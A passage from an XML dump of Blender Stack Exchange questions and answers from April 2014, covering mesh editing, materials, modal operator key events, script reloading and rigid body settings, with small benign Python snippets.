may still need to flush changes from bmesh to mesh after adding/removing geometry or Blender will crash:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;me = bpy.context.object.data&#xA;bm = bmesh.from_edit_mesh(me)&#xA;&#xA;print(len(bm.verts)) # 8 (in case of cube)&#xA;&#xA;bm.verts.remove(bm.verts[0])&#xA;&#xA;print(len(bm.verts)) # 7&#xA;&#xA;bmesh.update_edit_mesh(me)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-04-22T10:27:34.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8785" PostTypeId="1" AcceptedAnswerId="8786" CreationDate="2014-04-22T11:02:32.497" Score="4" ViewCount="16896" Body="&lt;p&gt;By hollow, I mean that I want only the sides and the base of the frustum to be visible. I already have a 3D Cone Frustum so now I only want to subtract the inner regions from the cone. So, my question is of course, how to do that ? I thought of using boolean but it only shows the option of a cone, so is it possible to use another one as a boolean modifier ? if yes, then how. I am a total noob and hence forgive me if its a bad question.Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="4984" LastEditorUserId="12" LastEditDate="2014-04-22T20:46:23.220" LastActivityDate="2020-02-20T20:28:13.993" Title="How do I delete a face?" Tags="&lt;modeling&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8786" PostTypeId="2" ParentId="8785" CreationDate="2014-04-22T11:22:00.130" Score="3" Body="&lt;p&gt;In &lt;em&gt;Edit Mode&lt;/em&gt; enable &lt;em&gt;Face select&lt;/em&gt; right click on the top face you want to remove.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Wg6Jo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then press &lt;kbd&gt;X&lt;/kbd&gt; or &lt;kbd&gt;Delete&lt;/kbd&gt;. This shows the &lt;em&gt;Delete&lt;/em&gt; popup menu, where you can select &lt;em&gt;Faces&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ATyS5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="599" LastEditDate="2014-04-22T20:50:14.823" LastActivityDate="2014-04-22T20:50:14.823" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="8787" PostTypeId="2" ParentId="8782" CreationDate="2014-04-22T12:08:19.893" Score="4" Body="&lt;p&gt;When extruding an open edge loop the move operation is free of any axis constraints, while extruding from a face will be constrained along the face normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The quick solution is to fill in the face then extrude and delete the face.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-04-22T12:08:19.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8788" PostTypeId="2" ParentId="8782" CreationDate="2014-04-22T12:09:52.380" Score="7" Body="&lt;p&gt;Press &lt;kbd&gt;F&lt;/kbd&gt; to fill the face with an n-gon and &lt;em&gt;then&lt;/em&gt; extrude.&lt;/p&gt;&#xA;&lt;p&gt;Once a face exists the extrusion can happen along the normal of that face.&lt;/p&gt;&#xA;&lt;p&gt;If you then want to move the face along that axis again you can change the transformation widget to the 'Normal' axis:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TiRm0.png&quot; alt=&quot;transform widget mode&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Allowing you to move like so either by using the widget pictured...&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AU0Cv.png&quot; alt=&quot;transform widget on open edge loop&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;or by pressing &lt;kbd&gt;G&lt;/kbd&gt;,&lt;kbd&gt;Z&lt;/kbd&gt;,&lt;kbd&gt;Z&lt;/kbd&gt;.&lt;/p&gt;&#xA;&lt;p&gt;You can then delete the face after the extrusion is complete via &lt;kbd&gt;X&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-04-22T14:15:31.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8789" PostTypeId="1" AcceptedAnswerId="8791" CreationDate="2014-04-22T14:14:25.370" Score="1" ViewCount="2786" Body="&lt;p&gt;I want to know how to use materials, from how to creating them to how to use transparency and colours in them, so please first of all, tell me how to create a new material.I also want to know how (if possible) I can convert faces of an object to a new material.I know this might sound silly but I'm a total beginner and hoping this doesn't waste your time, please help me out here....&lt;/p&gt;&#xA;" OwnerUserId="4984" LastActivityDate="2014-04-22T14:51:04.877" Title="How to create materials?" Tags="&lt;mesh&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8791" PostTypeId="2" ParentId="8789" CreationDate="2014-04-22T14:51:04.877" Score="1" Body="&lt;p&gt;You find the material properties in the &lt;em&gt;Default Layout&lt;/em&gt; on the right side:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cpGHR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your object already has a default material you can change the color by changing the settings in the section &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Materials/Properties/Diffuse_Shaders&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Diffuse&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create more materials first create a new slot '+' symbol and press new.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transparency is setup by ticking &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Materials/Properties/Transparency&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Transparency&lt;/em&gt;&lt;/a&gt; and ajusting the &lt;em&gt;Alpha Slider&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If want to assign materials to single faces select the face and material in &lt;em&gt;Edit Mode&lt;/em&gt; and press &lt;em&gt;Assign&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you just started:This is only a tiny part of what you will learn about materials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please checkout the resources we already collected here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.meta.stackexchange.com/questions/40/beginners-reference&quot;&gt;Beginner&amp;#39;s Reference&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-03-16T15:51:59.687" LastActivityDate="2014-04-22T14:51:04.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8792" PostTypeId="1" AcceptedAnswerId="8794" CreationDate="2014-04-22T16:09:08.823" Score="8" ViewCount="7107" Body="&lt;p&gt;I have two sets of linked objects in the scene and want to &quot;move&quot; some objects from one set to the other without losing the object's potition, orientation and scale.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I other words, I want to replace just the linked mesh data in an object of the second set of linked objects, by the mesh data in one object from the first set of linked objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The image below depicts what I'm trying to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/I36sK.jpg&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;" OwnerUserId="761" LastActivityDate="2014-04-22T16:52:44.753" Title="How to replace mesh data in linked object by another object's linked data?" Tags="&lt;mesh&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8793" PostTypeId="1" AcceptedAnswerId="8795" CreationDate="2014-04-22T16:18:27.230" Score="1" ViewCount="530" Body="&lt;p&gt;I recently saw this .gif on wikimedia commons.&lt;a href=&quot;http://en.wikipedia.org/wiki/File:HAWT_and_VAWTs_in_operation_medium.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NJu2M.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;I have now decided to try 3d modelling the Savonius VAWT, but my question is, how can one create such curved surfaces? They aren't possible to be recreated using the primitive objects already available, so the question is how to add this quirky curve?I am a beginner and have learned a lot from the Blender Stack Exchange Community, so I'm requesting further assistance.&lt;/p&gt;&#xA;" OwnerUserId="4984" LastEditorUserId="4984" LastEditDate="2014-04-23T11:17:06.997" LastActivityDate="2014-04-23T12:21:58.620" Title="How to create a curved surface for Savonius VAWT?" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8794" PostTypeId="2" ParentId="8792" CreationDate="2014-04-22T16:19:39.377" Score="9" Body="&lt;p&gt;Select the object whose mesh you want to replace, then go to the &quot;Object Data&quot; tab in the properties panel (the one with the triangle standing on one of its vertices). The topmost dropdown menu lets you select the mesh linked to your object. Just select MeshData1 here.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/26KJ8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The little number on the right also tells you how many users your mesh has (to how many objects it is linked).&lt;/p&gt;&#xA;" OwnerUserId="3089" LastEditorUserId="3089" LastEditDate="2014-04-22T16:52:44.753" LastActivityDate="2014-04-22T16:52:44.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8795" PostTypeId="2" ParentId="8793" CreationDate="2014-04-22T16:46:44.030" Score="4" Body="&lt;p&gt;To me they just look like three half cylinders, rotated by 120°.&#xA;Add a cylinder, select the top and bottom face and half of its shell and delete them.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/3pJam.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/F0X93.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/b3dWi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then select the remaining faces and move them so that the last straight edge is located on the center of the scene. Make sure the 3D cursos is located at the center as well. If it is not, hit [Shift+S] and select &quot;Cursor to Center&quot;. Make the cursor your current transformation center by pressing [.]&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9kvbM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Duplicate the vertices by pressing [Shift+D] and immediatly press [Esc] to cancel translation. Rotate the selected vertices by pressing [R] and moving your mouse or by typing the desired angle of 120 degrees on your keyboard. If you chose to use the mouse, you can hold [Ctrl] to make Blender increment the angle in five degree steps. This makes aiming for 120° easier. Hit enter to apply the rotation. Duplicate the selected vertices again and rotate them in the same manner.&lt;br&gt;&#xA;The result should look something like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/mx9Hy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to give it some thickness, go to the modifiers tab and select the solidify modifier:&lt;img src=&quot;https://i.stack.imgur.com/yFG8U.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wwGno.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3089" LastActivityDate="2014-04-22T16:46:44.030" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8796" PostTypeId="1" AcceptedAnswerId="8801" CreationDate="2014-04-22T16:49:37.633" Score="4" ViewCount="1692" Body="&lt;p&gt;I am trying to code a custom modal operator which captures key inputs. But the event queue seems to be so fast that when I hit a key it is reported multiple times. For example when I type the word &quot;hello&quot; it might end up in something like &quot;hheelllloo&quot;. The modal method looks like the following&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def modal(self, context, event):&#xA;    if event.type in string.ascii_uppercase:&#xA;        return self.add_char(context, event.type.lower())&#xA;&#xA;    else:&#xA;        return {'PASS_THROUGH'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What could I do to fix the problem?&lt;/p&gt;&#xA;" OwnerUserId="2478" LastActivityDate="2021-01-16T15:35:40.603" Title="custom modal operator event timing" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8797" PostTypeId="2" ParentId="3073" CreationDate="2014-04-22T16:57:12.220" Score="4" Body="&lt;p&gt;(step 1 from &lt;a href=&quot;https://blender.stackexchange.com/a/3080/2217&quot;&gt;gandalf3's&lt;/a&gt; answer)&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the material datablock to &lt;code&gt;Object&lt;/code&gt;, then right click on the drop down and select &lt;code&gt;Copy to selected&lt;/code&gt; This is important, if you skip this step 2 will not work.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/N22sQ.png&quot; alt=&quot;material data&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select all the objects you want to have the same material, with the active object having the material to be copied to all the others selected. Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt;, and select &lt;code&gt;Materials&lt;/code&gt;. It will now link the materials to the &lt;code&gt;Object&lt;/code&gt; and not the &lt;code&gt;Data&lt;/code&gt;.&lt;br /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/yqCg2.png&quot; alt=&quot;make links&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-04-22T16:57:12.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8799" PostTypeId="2" ParentId="8737" CreationDate="2014-04-22T17:58:51.617" Score="3" Body="&lt;p&gt;The gravity can be almost completly neutralized with this snippet added to a BG python controller:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sce = bge.logic.getCurrentScene()&#xA;ob = sce.objects['Player']&#xA;ob.applyForce([0, 0, 19.6]) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that 'Player' is the player game object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no idea why I need to apply 2 times of the gravity constant (9.8 from World/Physics/Gravity) but this way it works.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-04-22T17:58:51.617" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8800" PostTypeId="1" CreationDate="2014-04-22T18:50:04.247" Score="2" ViewCount="89" Body="&lt;p&gt;Pressing F8 reloads all addons. How can I call this from the python console?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately I want to make small startup script or addon that updates all the company addons. This brings up small related questions like, do startup scripts run before addons are loaded? Is reloading possible via script access?&lt;/p&gt;&#xA;" OwnerUserId="2452" LastActivityDate="2014-04-22T20:14:30.340" Title="Reloading scripts from a bootstrap script" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8801" PostTypeId="2" ParentId="8796" CreationDate="2014-04-22T18:55:03.950" Score="8" Body="&lt;p&gt;There are two events for keyboard keys: When you push the key down and when you release it.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;event.value&lt;/code&gt; is 'PRESS' or 'RELEASE'.&lt;/p&gt;&#xA;&lt;p&gt;Run this code in &lt;em&gt;Text Editor&lt;/em&gt;, put your mouse over &lt;em&gt;3D View&lt;/em&gt; and hit &lt;kbd&gt;Spacebar&lt;/kbd&gt;.&lt;br&gt;&#xA;Search for &lt;em&gt;Simple Modal View3D Operator&lt;/em&gt; and run it, then press some keys.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import blf&#xA;&#xA;&#xA;def draw_callback_px(self, context):&#xA;&#xA;    font_id = 0  # XXX, need to find out how best to get this.&#xA;&#xA;    # draw some text&#xA;    blf.position(font_id, 15, 30, 0)&#xA;    blf.size(font_id, 20, 72)&#xA;    blf.draw(font_id, self.key)&#xA;&#xA;&#xA;&#xA;class ModalDrawOperator(bpy.types.Operator):&#xA;    &amp;quot;&amp;quot;&amp;quot;Draw a line with the mouse&amp;quot;&amp;quot;&amp;quot;&#xA;    bl_idname = &amp;quot;view3d.modal_operator&amp;quot;&#xA;    bl_label = &amp;quot;Simple Modal View3D Operator&amp;quot;&#xA;&#xA;    def modal(self, context, event):&#xA;&#xA;        mod = []&#xA;        if event.shift:&#xA;            mod.append(&amp;quot;Shift&amp;quot;)&#xA;        if event.alt:&#xA;            mod.append(&amp;quot;Alt&amp;quot;)&#xA;        if event.ctrl:&#xA;            mod.append(&amp;quot;Ctrl&amp;quot;)&#xA;&#xA;        if mod:&#xA;            mod = &amp;quot;[%s]&amp;quot; % &amp;quot;+&amp;quot;.join(mod)&#xA;        else:&#xA;            mod = &amp;quot;&amp;quot;&#xA;&#xA;        context.area.header_text_set(&amp;quot;%s %s - %s&amp;quot; % (mod, event.type, event.value))&#xA;&#xA;        if event.unicode:&#xA;            self.key += event.unicode&#xA;            context.area.tag_redraw()&#xA;&#xA;        elif event.type in {'RET', 'NUMPAD_ENTER', 'BACK_SPACE', 'DEL'}:&#xA;            self.key = &amp;quot;&amp;quot;&#xA;            context.area.tag_redraw()&#xA;&#xA;        elif event.type in {'RIGHTMOUSE', 'ESC'}:&#xA;            bpy.types.SpaceView3D.draw_handler_remove(self._handle, 'WINDOW')&#xA;            context.area.tag_redraw()&#xA;            context.area.header_text_set(None)&#xA;            return {'CANCELLED'}&#xA;&#xA;        return {'RUNNING_MODAL'}&#xA;&#xA;    def invoke(self, context, event):&#xA;        if context.area.type == 'VIEW_3D':&#xA;            # the arguments we pass the the callback&#xA;            args = (self, context)&#xA;            # Add the region OpenGL drawing callback&#xA;            # draw in view space with 'POST_VIEW' and 'PRE_VIEW'&#xA;            self._handle = bpy.types.SpaceView3D.draw_handler_add(draw_callback_px, args, 'WINDOW', 'POST_PIXEL')&#xA;&#xA;            self.key = &amp;quot;&amp;quot;&#xA;&#xA;            context.window_manager.modal_handler_add(self)&#xA;            return {'RUNNING_MODAL'}&#xA;        else:&#xA;            self.report({'WARNING'}, &amp;quot;View3D not found, cannot run operator&amp;quot;)&#xA;            return {'CANCELLED'}&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(ModalDrawOperator)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(ModalDrawOperator)&#xA;&#xA;if __name__ == &amp;quot;__main__&amp;quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="15543" LastEditDate="2021-01-16T15:35:40.603" LastActivityDate="2021-01-16T15:35:40.603" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="8802" PostTypeId="2" ParentId="8780" CreationDate="2014-04-22T19:05:48.690" Score="2" Body="&lt;p&gt;The problem seems to comes from &lt;strong&gt;Anti-aliasing&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try disable it (Render Panel) and see the result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FOvqs.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;bad&quot; thing is that your render won't be anti-aliased...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you still want anti-aliasing, you can turn on &lt;strong&gt;Full Sample&lt;/strong&gt;, but this will increase the render time significantly.&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2014-04-22T19:05:48.690" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8803" PostTypeId="1" AcceptedAnswerId="18153" CreationDate="2014-04-22T19:09:18.960" Score="2" ViewCount="1279" Body="&lt;p&gt;I there any way to duplicate the action of the &lt;code&gt;Edit object &amp;gt; Track to&lt;/code&gt; Actuator; so that it can track to a game property and not a object? It would be used to track multiple objects without having to list them all as separate track to actuators in the logic bricks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/28630&quot; rel=&quot;nofollow&quot;&gt;blend file demo&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2014-10-23T15:32:48.980" LastActivityDate="2014-10-24T04:05:57.160" Title="Blender game engine track to a property" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;objects&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8804" PostTypeId="2" ParentId="8800" CreationDate="2014-04-22T20:01:37.123" Score="1" Body="&lt;p&gt;I found this in the source code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gitorious.org/blenderprojects/blender/commit/49c90bd&quot; rel=&quot;nofollow&quot;&gt;https://gitorious.org/blenderprojects/blender/commit/49c90bd&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static int script_reload_exec(bContext *C, wmOperator *op)&#xA;{&#xA;#ifndef DISABLE_PYTHON&#xA;    BPY_eval_string(C, &quot;__import__('bpy').utils.load_scripts(reload_scripts=True)&quot;);&#xA;&#xA;    return OPERATOR_FINISHED;&#xA;#endif&#xA;    return OPERATOR_CANCELLED;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I call this in python and it works.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.utils.load_scripts(reload_scripts=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2452" LastEditorUserId="2452" LastEditDate="2014-04-22T20:14:30.340" LastActivityDate="2014-04-22T20:14:30.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8805" PostTypeId="1" CreationDate="2014-04-22T21:10:27.337" Score="3" ViewCount="1109" Body="&lt;p&gt;I am working on a scene in which a wrecking ball on a chain crashes through numerous glass cubes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created the chain and ball in a different blender file to work more quickly, since the numerous cubes made modelling slow. I created materials for the ball and chain and then made rigid bodies correctly so the chain and ball would swing realistically. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that I have appended the chain and ball (About 10 individual objects) from my first blender file into my current file with the glass cubes, the ball and chain no longer move when I press play even though they still appear to have their correct rigid body settings. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that importing multiple objects, each with their own rigid body settings is problematic. Is there any way to get my wrecking ball and chain into my file with the glass cubes without having to remake them within the glass cube file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your time?&lt;/p&gt;&#xA;" OwnerUserId="3232" LastActivityDate="2014-04-22T21:18:08.197" Title="Why have my appended objects lost their rigid body settings?" Tags="&lt;rigid-body-simulation&gt;&lt;append&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8806" PostTypeId="2" ParentId="8805" CreationDate="2014-04-22T21:18:08.197" Score="2" Body="&lt;p&gt;This is because there is no &lt;em&gt;Rigid body world&lt;/em&gt; in your second file.&#xA;To fix this:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;em&gt;Add rigid body world&lt;/em&gt; in &lt;em&gt;Properties &amp;gt; Scene &amp;gt; Rigid body world&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gu9IX.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;With your appended rigid body objects selected, press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt; to make a group. They should now have a green outline:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6fElL.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the group in &lt;em&gt;Properties &amp;gt; Scene &amp;gt; Rigid Body world &amp;gt; Group&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/d6ifY.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-04-22T21:18:08.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8807" PostTypeId="1" CreationDate="2014-04-22T21:23:04.650" Score="2" ViewCount="1047" Body="&lt;p&gt;When viewing a sequencer, and playing back using the timeline, the scrubber bar tracks the playback, but will run off the sequencer view. I can manually scroll to catch-up. Is there any way to set the UI so the scrubber bar is always in the sequence view when playing back?&lt;/p&gt;&#xA;" OwnerUserId="3231" LastActivityDate="2016-12-21T16:36:32.103" Title="Can the sequencer strip view follow the scrubbing/playback bar?" Tags="&lt;video-sequence-editor&gt;" AnswerCount="2" CommentCount="7" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8808" PostTypeId="1" AcceptedAnswerId="144707" CreationDate="2014-04-22T21:57:37.400" Score="34" ViewCount="50116" Body="&lt;p&gt;For example, in inkscape you can double click to add a new control vertex:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LDh71.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do that in Blender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The closest thing I have found so far is &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;LMB&lt;/kbd&gt;, but it just adds an unconnected vertex under the cursor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to add a connected vertex at a specific point along the curve, preferably without deforming the curve?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2019-07-10T19:28:02.490" LastActivityDate="2020-05-06T10:30:01.687" Title="What is the fastest way to add vertices to a curve at a specific point?" Tags="&lt;editing&gt;&lt;bezier-curves&gt;&lt;workflow&gt;" AnswerCount="3" CommentCount="5" FavoriteCount="13" ContentLicense="CC BY-SA 4.0" />
  <row Id="8809" PostTypeId="1" CreationDate="2014-04-22T22:14:41.877" Score="2" ViewCount="1055" Body="&lt;p&gt;I'm VERY new to Blender here. Now I've been trying to design a set of VERY simple 3D models, comprised of notched cubes occluded by a sphere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A research assistant who is more familiar with Blender suggested I add an intruding rectangular prism and cut out its volume from the cube using the Difference Boolean modifier, but I just find this unnecessarily roundabout and it doesn't allow for the dimensions of the notch to be properly controlled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My hope is to so somehow subdivide the cube into 16 smaller blocks, and be able to simply delete blocks out of the overall shape. I figure this would involve some sort of Extrude command, but I'm not sure how I'd do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;local&quot; and &quot;global&quot; models I've included in the attached image are hand drawings of the models I had in mind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Uafzp.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3234" LastActivityDate="2014-04-23T11:21:37.400" Title="Cutting Out Volumes" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8812" PostTypeId="1" AcceptedAnswerId="8813" CreationDate="2014-04-22T23:33:50.627" Score="8" ViewCount="3777" Body="&lt;p&gt;In the new 2.70 fly mode, pressing TAB causes the camera to fall and hit any relatively flat surface (in Z axis).  However, when viewing scaled scenes at an arbitrary scaling, the camera falls really really far as though the &quot;person&quot; is incredibly tiny within the scene that you are walking through.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I change the camera/person's pov/player height so that I can fit in my scaled scene?&lt;/p&gt;&#xA;" OwnerUserId="3236" LastActivityDate="2014-04-22T23:41:52.543" Title="Blender 2.70 Fly Mode Camera: How Do I Change the Camera &quot;Height&quot; For Gravity?" Tags="&lt;3d-view&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
